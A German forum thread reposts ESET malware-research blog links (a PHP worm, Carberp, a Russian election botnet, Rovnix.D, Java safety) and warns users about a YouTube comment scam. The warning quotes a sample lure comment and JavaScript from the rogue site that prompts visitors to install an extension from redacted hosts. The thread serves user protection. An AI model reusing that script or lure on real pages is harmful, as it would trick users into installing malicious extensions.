ESET Threat Blog

Hallo,

unter http://blog.eset.com findet Ihr immer wieder neueste (englische) Informationen der Malware Forscher von ESET. Wenn gewünscht, poste ich hier regelmäßig die neuesten Eintrage mit Direktlink.

http://blog.eset.com/2011/11/02/fac…ual-data-police

Ein tschechischer PHP Autorun Wurm wurde entdeckt und auseinander genommen:
http://blog.eset.com/2011/11/03/mad…hp-autorun-worm

Was meint Ihr, sollte ich nur die Malware-Analyse Blogs posten oder auch alle und allgemeinere Themen?

Eine neue Variante eines "Business-Banking-Trojaners" Win32/TrojanDownloader.Carberp

http://blog.eset.com/2011/11/21/evo…rp-going-deeper

Wie so oft wird ein Botnet im aktuellen Bezug gesichtet, diesmal im Zusammenhang mit den Wahlen in Russland - Win32/Flooder.Ramagedos

http://blog.eset.com/2011/12/12/win…tions-in-russia

Ui, na das hab ich ja ganz schön schleifen lassen hier! :-O
Ich gelobe Besserung, da unter http://blog.eset.com immer häufiger Malware-Analysen veröffentlicht werden.

Ich möchte an dieser Stelle nur vor der Analyse schon warnen vor einem aktuell grasierenden Scam auf Youtube. In den Kommentaren zu beliebten Videos finden sich immer häufiger Kommentare alá
"“@bjrootn oohh true! this track is sooo good! Yeah and peeps are using this to get the mp3 of this music ==> http://bit.ly/XXXXXX”
Niemals diese Links zur angeblichen MP3 Konvertierung des Songs o.ä. anklicken!

Eine erste Schnell-Analyse zeigt alleine schon folgendes:
[code linenumbers=false]
That bit.ly address, once expanded, redirects the browser on a site that mimics the well-known site http://www.youtube-mpXXXX and tries to install a suspicious extension in Firefox and Chrome, as exemplified by part of the Javascript script included in the suspicious (rogue?) website

function downloadClick(){
if (installed){
document.location.href = 'http://www.XXXXXXX/?v=' + encodeURIComponent(document.getElementById('video-url').value);
return true;
} else {
if (loadingVideo){
if (is_chrome){
document.getElementById('dvInstall').style.display = 'block';
installExtension('http://XXXXXX.crx');
} else if(is_firefox){
window.location.hash = 'firefox';
installExtension('http://XXXXXX.xpi');
} else {
alert("Unable to download this MP3. The " + browser + " browser is not supported.\n\nPlease try again using the latest version of Google Chrome or Mozilla Firefox");
}
} else {
document.location.href = 'http://XXXXXXX?v=' + encodeURIComponent(document.getElementById('video-url').value);
return true;
}

return false;
}
}

Looking at the Youtube account of “angelicaSee” (supposed author of the comment) at http://www.youtube.com/user/angelicaSee it seems a hacked account opened a while ago by a 14 years old girl from Philippines.
[/code]

Rovnix.D mal genauer untersucht inkl. interessanten Links zur "Vorarbeit":

http://blog.eset.com/2012/07/27/rov…injection-story

Hallo, es ist zwar diesmal keine Malware-Analyse aber nach der Warnung des BSI zur aktuellen Java-Lücke hier eine kleine Anleitung zum Umgang mit Java im Browser:
http://blog.eset.com/2012/08/29/dis…r-way-to-browse